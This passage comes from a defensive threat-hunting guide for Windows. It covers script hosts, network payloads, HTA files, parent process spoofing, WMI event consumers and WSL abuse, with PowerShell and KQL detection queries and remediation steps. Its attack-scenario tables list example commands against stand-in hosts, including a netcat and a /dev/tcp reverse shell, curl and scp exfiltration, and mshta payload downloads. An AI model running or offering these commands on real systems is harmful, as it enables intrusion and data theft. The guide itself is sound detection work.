  ```

**📌 Focus on Event ID 4104:**

* Look for obfuscated payload execution via PowerShell.

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Trace Script Origin**

* Inspect script file metadata:

```powershell
Get-ItemProperty -Path "C:\Temp\script.vbs"
```

***

#### 2️⃣ **Analyze Parent-Child Process Tree**

* Trace back the initiating process:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

#### 3️⃣ **Check Scheduled Tasks for Script Execution**

* Look for scheduled tasks invoking Cscript:

```powershell
schtasks /query /fo LIST /v | findstr "cscript.exe"
```

***

#### 4️⃣ **Validate Script File Hashes**

* Generate file hash and compare on **VirusTotal**:

```powershell
Get-FileHash -Path "C:\Temp\script.vbs" -Algorithm SHA256
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious Processes**

```powershell
Stop-Process -Name "cscript" -Force
```

#### 📌 **2. Remove Malicious Script Files**

```powershell
Remove-Item -Path "C:\Temp\malicious.vbs" -Force
```

#### 📌 **3. Disable Windows Script Host**

```powershell
reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
```

#### 📌 **4. Audit Scheduled Tasks**

```powershell
schtasks /delete /tn "UpdaterTask" /f
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Disable Windows Script Host (If Unused).**
2. **Enable Command Line Auditing.**
3. **Monitor Scheduled Tasks for Script Execution.**
4. **Block Obfuscated Scripts via AppLocker.**
5. **Regularly Audit Script Files in Temp and Public Folders.**

***

## 🚨 **Payload Performing Network Activity**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is a Network Payload Activity?**

* **Payloads performing network activity** are malicious programs/scripts that:
  * Communicate with **Command and Control (C2) servers**.
  * **Exfiltrate sensitive data** from the target system.
  * **Download additional payloads** or tools.
  * **Establish persistence** by maintaining a communication channel with the attacker.

#### 📑 **Why Attackers Use Network Payloads?**

* **Remote Control:** Execute commands remotely on compromised systems.
* **Exfiltration:** Transfer sensitive data to external servers.
* **Obfuscation:** Hide network communication using encryption or legitimate services.
* **Pivoting:** Use the compromised host as a gateway to access other systems.
* **Reconnaissance:** Map the network infrastructure.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                    | **Description**                                      | **Example Command**                                                           |
| -------------------------------- | ---------------------------------------------------- | ----------------------------------------------------------------------------- |
| **Download Additional Payloads** | Use HTTP/S to download malicious tools.              | `powershell.exe -c "Invoke-WebRequest -Uri http://malicious.com/payload.exe"` |
| **C2 Communication**             | Establish persistent communication with a C2 server. | `nc -e cmd.exe attacker.com 4444`                                             |
| **Data Exfiltration**            | Transfer files to an external server.                | `curl -T sensitive_data.zip http://attacker.com/upload`                       |
| **DNS Tunneling**                | Covert communication via DNS requests.               | `nslookup -type=txt secret.attacker.com`                                      |
| **Proxying Traffic**             | Use compromised systems as a proxy.                  | `ssh -R 8080:localhost:80 attacker.com`                                       |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List Processes with Active Network Connections**

```powershell
Get-Process | Where-Object { $_.Name -in @("powershell", "cmd", "wscript", "cscript") } | 
    ForEach-Object { $_.Id } | 
    ForEach-Object { Get-NetTCPConnection -OwningProcess $_ }
```

**🕵️ Inspect Recent Connections to External IPs**

```powershell
Get-NetTCPConnection | Where-Object { $_.RemoteAddress -notlike "192.168.*" -and $_.RemoteAddress -notlike "10.*" }
```

**🕵️ Check Outbound Connections Using CMD or PowerShell**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object {
    $_.Message -like "*powershell*" -or $_.Message -like "*cmd*" -and $_.Message -like "*http*"
}
```

**🕵️ Identify Scripts Making Network Calls**

```powershell
Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public" -Include *.ps1, *.bat, *.vbs -Recurse | 
    Select-String -Pattern "Invoke-WebRequest", "curl", "wget"
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Network Activity from Suspicious Processes**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName in ("powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe")
| where RemoteIP != "127.0.0.1" and RemoteIP != "::1"
| where RemoteIP !startswith "192.168." and RemoteIP !startswith "10."
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, RemotePort, ProcessCommandLine, AccountName
```

**🕵️ Monitor HTTP/S Traffic from Suspicious Processes**

```kusto
DeviceNetworkEvents
| where RemoteUrl contains "http" or RemoteUrl contains "https"
| where InitiatingProcessFileName in ("powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe")
| project Timestamp, DeviceName, RemoteUrl, ProcessCommandLine, AccountName
```

**🕵️ Identify DNS Exfiltration Patterns**

```kusto
DeviceNetworkEvents
| where RemoteUrl contains ".attacker.com"
| where Protocol == "DNS"
| project Timestamp, DeviceName, RemoteUrl, AccountName
```

**🕵️ Look for Obfuscated Network Commands**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "Invoke-WebRequest" or ProcessCommandLine contains "curl"
| where ProcessCommandLine contains "-EncodedCommand"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Trace Network Payloads from Scripts**

```kusto
DeviceProcessEvents
| where FileName in ("powershell.exe", "cmd.exe", "cscript.exe", "wscript.exe")
| where ProcessCommandLine contains "http://" or ProcessCommandLine contains "https://"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                                |
| ------------ | -------------------------------------------------------------- |
| **4688**     | A new process was created (e.g., `cmd.exe`, `powershell.exe`). |
| **5156**     | A network connection was allowed.                              |
| **4663**     | Object access attempt detected.                                |
| **4104**     | PowerShell script block logging.                               |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: powershell.exe -c "Invoke-WebRequest -Uri http://malicious.com/payload.exe"
  ProcessCommandLine: cmd.exe /c "curl http://malicious.com/file"
  ```

**📌 Focus on Event ID 5156:**

* Check for network connections to external IPs:

  ```plaintext
  RemoteIP: 45.67.89.123
  RemotePort: 443
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Trace Network Connections**

```powershell
netstat -ano | findstr :80
```

***

#### 2️⃣ **Inspect Process Trees**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

#### 3️⃣ **Analyze DNS Queries**

Check logs for unusual DNS queries:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-DNS-Client/Operational'}
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious Processes**

```powershell
Stop-Process -Id <PID> -Force
```

#### 📌 **2. Block Malicious IPs and Domains**

```powershell
New-NetFirewallRule -DisplayName "Block Malicious IP" -Direction Outbound -RemoteAddress <IP> -Action Block
```

#### 📌 **3. Remove Malicious Scripts**

```powershell
Remove-Item -Path "C:\Temp\script.ps1" -Force
```

#### 📌 **4. Clear DNS Cache**

```powershell
Clear-DnsClientCache
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Monitor Suspicious Network Connections.**
2. **Restrict Script Execution with AppLocker.**
3. **Enable DNS Logging and Monitoring.**
4. **Limit Outbound Traffic to Trusted Domains.**
5. **Apply Least Privilege Principles.**

***

### 🧠 **6. Key Takeaways**

* **Network Payloads are Stealthy:** Focus on HTTP/S, DNS, and external IPs.
* **Monitor Event IDs:** **4688**, **5156**, **4663**, **4104**.
* **Track Parent-Child Processes:** Especially involving scripts.

***

## 🚨 **HTA File Created**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is an HTA File?**

* **HTA (HTML Application)** files are **executable HTML files** processed by `mshta.exe`, a legitimate Windows binary.
* HTA files allow execution of **VBScript, JavaScript, or embedded executable code**.
* Attackers use HTA files for:
  * **Initial Access:** Spear phishing or malicious downloads.
  * **Execution Proxy:** Running scripts without restrictions.
  * **Persistence:** Scheduled tasks or startup entries.
  * **Defense Evasion:** Masking malicious intent in seemingly benign HTML code.

***

#### 📑 **Why Do Attackers Use HTA Files?**

* **Trusted Binary:** `mshta.exe` is signed by Microsoft.
* **Execution Flexibility:** Runs VBScript, JavaScript, and embedded payloads.
* **Low Detection Rate:** Often bypasses antivirus and endpoint defenses.
* **Fileless Attack:** Can execute directly from memory.
* **Remote Execution:** Supports execution via URLs.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                      | **Description**                                  | **Example Command**                                                    |
| ---------------------------------- | ------------------------------------------------ | ---------------------------------------------------------------------- |
| **HTA via Email Attachment**       | Malicious HTA file attached in phishing emails.  | `malware.hta`                                                          |
| **HTA via URL Delivery**           | Hosted on attacker-controlled domains.           | `mshta.exe http://attacker.com/payload.hta`                            |
| **Fileless Execution**             | HTA file executed directly from memory.          | `mshta.exe vbscript:Execute("malicious code")`                         |
| **HTA Dropper**                    | HTA file drops and executes additional payloads. | `mshta.exe %TEMP%\malware.hta`                                         |
| **Persistence via Scheduled Task** | HTA used in scheduled tasks.                     | `schtasks /create /tn "Updater" /tr "mshta.exe payload.hta" /sc daily` |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Search for Recently Created HTA Files**

```powershell
Get-ChildItem -Path "C:\Users\", "C:\Windows\Temp", "C:\ProgramData" -Filter "*.hta" -Recurse | 
Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) } | 
Select-Object FullName, LastWriteTime
```

**🕵️ Inspect HTA File Contents**

```powershell
Get-Content -Path "C:\Path\to\file.hta"
```

**🕵️ List Processes Executing HTA Files**

```powershell
Get-Process -Name mshta | Select-Object Id, ProcessName, Path, StartTime
```

**🕵️ Check Parent-Child Process Relationship**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "mshta.exe" } | 
Select-Object ProcessId, ParentProcessId, CommandLine
```

**🕵️ Identify Suspicious Scheduled Tasks**

```powershell
schtasks /query /fo LIST /v | findstr "mshta.exe"
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect HTA File Creation**

```kusto
DeviceFileEvents
| where FileName endswith ".hta"
| where FolderPath contains "Temp" or FolderPath contains "Downloads"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Monitor HTA Execution**

```kusto
DeviceProcessEvents
| where FileName == "mshta.exe"
| where ProcessCommandLine contains ".hta" or ProcessCommandLine contains "http"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName
```

**🕵️ Identify HTA File Delivered via Web**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName == "mshta.exe"
| where RemoteUrl contains ".hta"
| project Timestamp, DeviceName, RemoteUrl, ProcessCommandLine, AccountName
```

**🕵️ Trace HTA Activity via Scheduled Tasks**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "schtasks"
| where ProcessCommandLine contains "mshta.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Find Obfuscated HTA Commands**

```kusto
DeviceProcessEvents
| where FileName == "mshta.exe"
| where ProcessCommandLine contains "vbscript" or ProcessCommandLine contains "Execute"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                |
| ------------ | ---------------------------------------------- |
| **4688**     | A new process was created (e.g., `mshta.exe`). |
| **4663**     | Object access attempt (e.g., HTA file access). |
| **4104**     | PowerShell script block execution.             |
| **7045**     | A new service was installed on the system.     |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: mshta.exe C:\Users\User\Downloads\malicious.hta
  ProcessCommandLine: mshta.exe http://attacker.com/payload.hta
  ```

**📌 Focus on Event ID 4663:**

* Object access to `.hta` files:

  ```plaintext
  FileName: malicious.hta
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Analyze HTA File Contents**

* Review HTA file for suspicious code:

```powershell
Get-Content -Path "C:\Users\User\Downloads\malicious.hta"
```

***

#### 2️⃣ **Trace HTA Network Activity**

* Identify external connections made by HTA:

```powershell
netstat -ano | findstr <PID>
```

***

#### 3️⃣ **Review Parent Process**

* Trace the process tree:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

#### 4️⃣ **Check for Persistence**

* Review scheduled tasks or startup entries:

```powershell
schtasks /query /fo LIST /v
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious Processes**

```powershell
Stop-Process -Name "mshta" -Force
```

#### 📌 **2. Delete Malicious HTA Files**

```powershell
Remove-Item -Path "C:\Users\User\Downloads\malicious.hta" -Force
```

#### 📌 **3. Audit Scheduled Tasks**

```powershell
schtasks /delete /tn "UpdaterTask" /f
```

#### 📌 **4. Block HTA Execution**

* Disable HTA files in Windows:

```powershell
reg add "HKCU\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Disable HTA Execution via GPO:**
   * Prevent `mshta.exe` from running.
2. **Monitor HTA File Creations:**
   * Regularly review `Downloads` and `Temp` directories.
3. **Enable Process Command-Line Auditing:**
   * Track `mshta.exe` executions.
4. **Restrict Scheduled Task Execution:**
   * Limit user permissions for task creation.
5. **Educate Users:**
   * Warn against executing unknown HTA files.

***

## 🚨 **Spoofed Privileged Parent Process Detected**

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is a Spoofed Privileged Parent Process?**

* A **Spoofed Privileged Parent Process** occurs when an attacker creates a **child process under a highly privileged parent process** (e.g., `lsass.exe`, `explorer.exe`, `services.exe`) to:
  * Execute malicious payloads.
  * Bypass security policies.
  * Gain elevated privileges.
  * Evade detection by masquerading as legitimate activity.

#### 📑 **Why Attackers Use Privileged Parent Process Spoofing?**

* **Stealth:** Malicious processes blend in with legitimate ones.
* **Privilege Escalation:** Gain SYSTEM or ADMIN privileges.
* **Evasion:** Security tools may trust child processes of known legitimate parent processes.
* **Execution Proxy:** Launch malicious code under trusted processes.
* **Persistence:** Embed malicious activities in long-lived processes.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                          | **Description**                                     | **Example Command**                                         |
| -------------------------------------- | --------------------------------------------------- | ----------------------------------------------------------- |
| **Process Injection**                  | Inject payloads into a privileged parent process.   | `rundll32.exe inject.dll`                                   |
| **Parent PID Spoofing**                | Manually set a process's parent PID.                | `CreateProcessWithParentPID`                                |
| **Windows API Abuse**                  | Use APIs like `CreateRemoteThread`.                 | `CreateRemoteThread(ProcessId)`                             |
| **Reflective DLL Injection**           | Inject malicious DLLs into privileged processes.    | `powershell.exe -exec bypass Invoke-ReflectiveDLLInjection` |
| **CMD/Powershell via Trusted Process** | Execute malicious commands under trusted processes. | `cmd.exe /c malicious.bat`                                  |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List Suspicious Parent-Child Relationships**

```powershell
Get-CimInstance Win32_Process | Where-Object {
    $_.ParentProcessId -in (Get-Process -Name "lsass", "explorer", "services").Id
} | Select-Object ProcessId, ParentProcessId, Name, CommandLine
```

**🕵️ Identify Processes with Abnormal Parent-Child Pairings**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object {
    $_.Message -like "*ParentProcessName: *lsass.exe*" -or $_.Message -like "*ParentProcessName: *services.exe*"
}
```

**🕵️ Inspect Processes with Elevated Privileges**

```powershell
Get-Process | Where-Object { $_.Path -like "*Temp*" -or $_.Path -like "*AppData*" }
```

**🕵️ Check Loaded Modules in Suspicious Processes**

```powershell
Get-Process -Id <PID> -Module | Where-Object { $_.ModuleName -like "*.dll" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Suspicious Parent-Child Process Relationships**

```kusto
DeviceProcessEvents
| where ParentProcessFileName in ("lsass.exe", "services.exe", "explorer.exe")
| where ProcessCommandLine contains "cmd.exe" or ProcessCommandLine contains "powershell.exe"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName
```

**🕵️ Identify Processes Running from Suspicious Directories**

```kusto
DeviceProcessEvents
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| where ParentProcessFileName in ("lsass.exe", "services.exe")
| project Timestamp, DeviceName, FolderPath, ProcessCommandLine, AccountName
```

**🕵️ Detect Process Injection Activity**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "CreateRemoteThread"
| where ParentProcessFileName in ("lsass.exe", "services.exe")
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Monitor Abnormal Child Processes of Privileged Parents**

```kusto
DeviceProcessEvents
| where ParentProcessFileName in ("lsass.exe", "services.exe", "explorer.exe")
| where FileName in ("cmd.exe", "powershell.exe")
| project Timestamp, DeviceName, FileName, ParentProcessName, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                                |
| ------------ | -------------------------------------------------------------- |
| **4688**     | A new process was created (e.g., `cmd.exe`, `powershell.exe`). |
| **4663**     | Object access attempt.                                         |
| **4656**     | Handle to an object was requested.                             |
| **7045**     | A new service was installed.                                   |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ParentProcessName: lsass.exe
  CommandLine: cmd.exe /c payload.bat
  ```

**📌 Focus on Event ID 7045:**

* New service installations by suspicious parent processes:

  ```plaintext
  ServiceName: MaliciousService
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Trace Parent Process Anomalies**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

***

#### 2️⃣ **Inspect DLLs Loaded in Suspicious Processes**

```powershell
Get-Process -Id <PID> -Module | Where-Object { $_.ModuleName -like "*.dll" }
```

***

#### 3️⃣ **Inspect Temporary Directories for Scripts or Payloads**

```powershell
Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public" -Include *.exe, *.bat, *.ps1
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious Processes**

```powershell
Stop-Process -Id <PID> -Force
```

#### 📌 **2. Quarantine Suspicious Payloads**

```powershell
Move-Item -Path "C:\Windows\Temp\malicious.exe" -Destination "C:\Quarantine"
```

#### 📌 **3. Audit Scheduled Tasks**

```powershell
schtasks /query /fo LIST /v
```

#### 📌 **4. Remove Malicious Registry Entries**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousEntry"
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Monitor Privileged Parent Processes:**
   * Audit child processes under `lsass.exe`, `services.exe`, `explorer.exe`.
2. **Implement Process Integrity Policies:**
   * Use **Windows Defender Application Control (WDAC)**.
3. **Enable Command Line Auditing:**
   * Capture arguments of processes launched by privileged parents.
4. **Restrict Access to Sensitive APIs:**
   * Prevent unauthorized `CreateRemoteThread` calls.
5. **Educate Security Teams:**
   * Ensure analysts understand privileged parent process abuse.

***

### 🧠 **6. Key Takeaways**

* **Focus on Event IDs:** **4688**, **4663**, **7045**.
* **Monitor Process Hierarchies:** Validate child processes of privileged parents.
* **Investigate Anomalies in Temporary Directories:** Payloads often reside in `Temp` or `AppData`.
* **Apply Least Privilege Principle:** Prevent unnecessary elevated access.

***

## 🚨 **Suspicious WMI Process: Active Script Event Consumer**&#x20;

***

### 🔍 **1. Attack Breakdown**

#### 📝 **What is an Active Script Event Consumer?**

* **Windows Management Instrumentation (WMI)** is a powerful system management framework used for **monitoring, querying, and automation** in Windows environments.
* **Active Script Event Consumers** allow WMI to execute **VBScript** or **JScript** when specific conditions (WMI events) are met.
* Attackers abuse **WMI Active Script Event Consumers** to:
  * **Establish Persistence:** Trigger scripts automatically on system events.
  * **Execute Payloads Silently:** Run scripts without dropping files on disk.
  * **Evade Detection:** Use native Windows tools, bypassing many security solutions.

***

#### 📑 **Why Attackers Use WMI Active Script Event Consumers?**

* **Fileless Persistence:** No files are dropped on disk.
* **Stealth:** Native Windows tools are trusted by antivirus solutions.
* **Automated Execution:** Execute malicious scripts on specific triggers.
* **Wide Reach:** WMI is accessible across the network.
* **Flexibility:** Supports VBScript, JScript, and Powershell execution.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                           | **Description**                               | **Example Command**                                                           |
| --------------------------------------- | --------------------------------------------- | ----------------------------------------------------------------------------- |
| **Persistence via Event Consumers**     | Trigger malicious VBScript on a system event. | `wmic /namespace:\\root\subscription PATH __EventConsumer CREATE`             |
| **Script Execution via WMI**            | Use WMI to run a payload.                     | `wmic /namespace:\\root\subscription PATH CommandLineEventConsumer`           |
| **Scheduled Task via WMI**              | WMI triggers a payload at a specific time.    | `powershell.exe -c "Invoke-WebRequest -Uri http://malicious.com/payload.ps1"` |
| **Remote WMI Execution**                | Use WMI to execute payloads remotely.         | `wmic /node:<remote-host> process call create "cmd.exe /c payload.exe"`       |
| **Obfuscated VBScript in WMI Consumer** | Obfuscated payload in VBScript.               | `wmic /namespace:\\root\subscription PATH ActiveScriptEventConsumer`          |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List All WMI Event Consumers**

```powershell
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
```

**🕵️ Search for Active Script Event Consumers**

```powershell
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Select-Object Name, ScriptText
```

**🕵️ Check for Command Line Event Consumers**

```powershell
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Select-Object Name, CommandLineTemplate
```

**🕵️ Identify Suspicious Scripts in WMI**

```powershell
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | 
Where-Object { $_.ScriptText -match "cmd|powershell|Invoke-WebRequest" }
```

**🕵️ Monitor Recent WMI Events**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-WMI-Activity/Operational'; Id=5857}
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Active Script Event Consumers**

```kusto
DeviceProcessEvents
| where FileName == "wmic.exe" or FileName == "powershell.exe"
| where ProcessCommandLine contains "EventConsumer" or ProcessCommandLine contains "ActiveScriptEventConsumer"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Suspicious WMI Commands**

```kusto
DeviceProcessEvents
| where FileName == "wmic.exe"
| where ProcessCommandLine contains "namespace:\\root\subscription"
| where ProcessCommandLine contains "EventConsumer"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Trace Event Consumers with Suspicious Script Content**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "ScriptText"
| where ProcessCommandLine contains "cmd" or ProcessCommandLine contains "powershell"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Monitor Remote WMI Execution**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "wmic /node:"
| where ProcessCommandLine contains "process call create"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Detect Script-Based WMI Consumers**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "ActiveScriptEventConsumer"
| where ProcessCommandLine contains "vbscript" or ProcessCommandLine contains "jscript"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                               |
| ------------ | --------------------------------------------- |
| **4688**     | A new process was created (e.g., `wmic.exe`). |
| **5857**     | WMI Consumer Process detected.                |
| **4663**     | Object access attempt.                        |
| **4104**     | PowerShell script block execution.            |

**📌 Focus on Event ID 5857:**

* Look for:

  ```plaintext
  ConsumerName: ActiveScriptEventConsumer
  ScriptText: powershell.exe -EncodedCommand
  ```

**📌 Focus on Event ID 4688:**

* Trace processes related to WMI Event Consumers:

  ```plaintext
  ProcessCommandLine: wmic /namespace:\\root\subscription
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Review Active WMI Consumers**

* Inspect WMI Consumer activity:

```powershell
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
```

***

#### 2️⃣ **Analyze EventConsumer Scripts**

* Extract script content:

```powershell
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Select-Object Name, ScriptText
```

***

#### 3️⃣ **Inspect Remote WMI Execution**

* Identify WMI execution across systems:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688}
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Remove Suspicious WMI Event Consumers**

```powershell
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Remove-WmiObject
```

#### 📌 **2. Disable WMI Service (if not in use)**

```powershell
Stop-Service -Name Winmgmt -Force
Set-Service -Name Winmgmt -StartupType Disabled
```

#### 📌 **3. Audit WMI Access Permissions**

```powershell
Get-WmiObject -Namespace root\subscription -Class __EventConsumer | Select-Object Name, SecurityDescriptor
```

#### 📌 **4. Block Malicious Scripts**

```powershell
Remove-Item -Path "C:\Windows\Temp\malicious.ps1"
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable WMI Auditing.**
2. **Monitor WMI Event Consumers Regularly.**
3. **Restrict Administrative WMI Access.**
4. **Disable Unnecessary WMI Namespaces.**
5. **Apply Least Privilege Principle.**

***

### 🧠 **6. Key Takeaways**

* **Focus on WMI Event IDs:** **5857**, **4688**, **4663**.
* **Monitor Script Text in Consumers:** Look for VBScript, JScript, and PowerShell usage.
* **Restrict WMI Access:** Apply strict permissions.

***

## 🚨 **First Time Seen WSL Process Running on Machine: Advanced Threat Analysis**

***

### 🔍 \*\*1. **Attack Breakdown**

#### 📝 **What is WSL?**

* **Windows Subsystem for Linux (WSL)** allows users to run a **Linux environment directly on Windows**, without requiring a virtual machine or dual-boot setup.
* WSL can execute **Linux commands, scripts, and binaries** directly from Windows.

#### 📑 **Why Attackers Exploit WSL?**

* **Living Off the Land (LotL):** Use trusted system components for malicious purposes.
* **Stealth:** Many endpoint solutions may not effectively monitor WSL processes.
* **Fileless Execution:** Malicious payloads can run directly in memory.
* **Cross-Platform Attacks:** Ability to use Linux tools on Windows.
* **Bypass Security Controls:** WSL processes may evade detection policies.

***

#### 📌 **Common Attack Scenarios**

| **Technique**                 | **Description**                                  | **Example Command**                                             |
| ----------------------------- | ------------------------------------------------ | --------------------------------------------------------------- |
| **WSL Reverse Shell**         | Establish a reverse shell using WSL.             | `wsl bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"`       |
| **WSL Malware Execution**     | Run malicious binaries using WSL.                | `wsl /mnt/c/temp/malware.sh`                                    |
| **Fileless Malware**          | Download and execute payloads directly from WSL. | \`wsl curl <http://attacker.com/script.sh>                      |
| **Persistence via WSL Cron**  | Set up persistent tasks via Linux cron jobs.     | `wsl crontab -e`                                                |
| **Data Exfiltration via WSL** | Use WSL tools for stealthy data exfiltration.    | `wsl scp /mnt/c/sensitive_data.txt attacker@attacker.com:/loot` |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ List WSL Processes Running on Windows**

```powershell
Get-Process -Name "wsl"
```

**🕵️ Check WSL Execution History in Windows Event Logs**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*wsl.exe*" }
```

**🕵️ Identify Recent WSL Commands Executed**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-WinRM/Operational'} | Where-Object { $_.Message -like "*wsl*" }
```

**🕵️ Look for WSL-Related Processes Launching Windows Commands**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "wsl.exe" } | Select-Object ProcessId, CommandLine
```

**🕵️ Trace Parent-Child Process Relationship**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq (Get-Process -Name "wsl").Id }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect First-Time WSL Process Execution**

```kusto
DeviceProcessEvents
| where FileName == "wsl.exe"
| summarize FirstSeen=min(Timestamp) by DeviceName, FileName
| project DeviceName, FileName, FirstSeen
```

**🕵️ Monitor Suspicious WSL Commands**

```kusto
DeviceProcessEvents
| where FileName == "wsl.exe"
| where ProcessCommandLine contains "curl" or ProcessCommandLine contains "wget"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Trace WSL Network Connections**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName == "wsl.exe"
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, RemotePort, ProcessCommandLine
```

**🕵️ Detect WSL Accessing Suspicious Files**

```kusto
DeviceFileEvents
| where FileName contains "wsl"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Identify Privileged Commands Executed via WSL**

```kusto
DeviceProcessEvents
| where FileName == "wsl.exe"
| where ProcessCommandLine contains "chmod" or ProcessCommandLine contains "sudo"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                                         |
| ------------ | ----------------------------------------------------------------------- |
| **4688**     | A new process was created (`wsl.exe`).                                  |
